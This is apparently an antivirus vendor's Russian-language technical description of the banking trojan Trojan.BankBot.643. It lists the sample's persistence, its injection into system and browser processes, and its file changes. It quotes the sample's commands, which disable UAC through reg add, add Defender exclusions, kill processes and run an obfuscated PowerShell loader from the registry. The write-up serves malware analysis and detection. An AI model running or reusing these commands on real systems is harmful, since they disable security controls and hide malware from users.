Trojan.BankBot.643

Техническая информация

Для обеспечения автозапуска и распространения

Модифицирует следующие ключи реестра

[HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run] 'explorer' = 'powershell.exe -ExecutionPolicy Bypass -NoProfile -WindowStyle Hidden -Command "$Base64 = (Get-ItemProperty ...

Создает или изменяет следующие файлы

<SYSTEM32>\tasks\$77svc64

Вредоносные функции

Для затруднения выявления своего присутствия в системе

блокирует:

Средство контроля пользовательских учетных записей (UAC)

добавляет исключения антивируса:

'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Stop-Process -Name 'SecurityHealthSystray' -Force; Add-MpPreference -ExclusionProcess '<Имя файла>.exe';Add-MpPreference -ExclusionProcess 'svchost.exe';Add-MpPreference -ExclusionPro...

Запускает на исполнение

'<SYSTEM32>\taskkill.exe' /F /IM wscript.exe
'<SYSTEM32>\taskkill.exe' /F /IM cmd.exe

Внедряет код в

следующие системные процессы:

<SYSTEM32>\winlogon.exe
<SYSTEM32>\services.exe
<SYSTEM32>\lsass.exe
<SYSTEM32>\lsm.exe
<SYSTEM32>\svchost.exe
<SYSTEM32>\spoolsv.exe
<SYSTEM32>\taskhost.exe
<SYSTEM32>\dwm.exe
%WINDIR%\explorer.exe
<SYSTEM32>\wudfhost.exe
<SYSTEM32>\wbem\wmiprvse.exe
<SYSTEM32>\taskeng.exe
<SYSTEM32>\cmd.exe
<SYSTEM32>\conhost.exe
<SYSTEM32>\choice.exe
<SYSTEM32>\werfault.exe

следующие пользовательские процессы:

iexplore.exe
firefox.exe

Перехватывает функции

в браузерах

Процесс firefox.exe, модуль advapi32.dll

Изменения в файловой системе

Создает следующие файлы

%APPDATA%\microsoft\windows\svchost.exe
%APPDATA%\microsoft\windows\$77kit.exe
%ALLUSERSPROFILE%\sestmi.exe

Удаляет следующие файлы

%APPDATA%\microsoft\windows\svchost.exe

Перемещает следующие файлы

%ProgramFiles%\microsoft office\office14\bcssync.exe в %TEMP%\29559

Другое

Ищет следующие окна

ClassName: '' WindowName: ''

Создает и запускает на исполнение

'%APPDATA%\microsoft\windows\svchost.exe'
'%APPDATA%\microsoft\windows\$77kit.exe'
'%ALLUSERSPROFILE%\sestmi.exe'

Запускает на исполнение

'<SYSTEM32>\cmd.exe' /c reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v EnableLUA /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v ConsentPromptBehaviorAdmin /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /c reg add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
'<SYSTEM32>\reg.exe' add ""HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System"" /v PromptOnSecureDesktop /t REG_DWORD /d 0 /f
'<SYSTEM32>\cmd.exe' /C choice /C Y /N /D Y /T 5 & Del "%APPDATA%\Microsoft\Windows\svchost.exe" (со скрытым окном)
'<SYSTEM32>\choice.exe' /C Y /N /D Y /T 5
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command "Stop-Process -Name 'SecurityHealthSystray' -Force; Add-MpPreference -ExclusionProcess '<Имя файла>.exe';Add-MpPreference -ExclusionProcess 'svchost.exe';Add-MpPreference -ExclusionPro... (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /F /IM wscript.exe (со скрытым окном)
'<SYSTEM32>\taskkill.exe' /F /IM cmd.exe (со скрытым окном)
'<SYSTEM32>\windowspowershell\v1.0\powershell.exe' "[Reflection.Assembly]::Load([Microsoft.Win32.Registry]::LocalMachine.OpenSubkey(''+'S'+'O'+[Char](70)+''+[Char](84)+'W'+'A'+''+[Char](82)+''+'E'+'').GetValue(''+[Char](36)+''+[Char](55)+''+'7'... (со скрытым окном)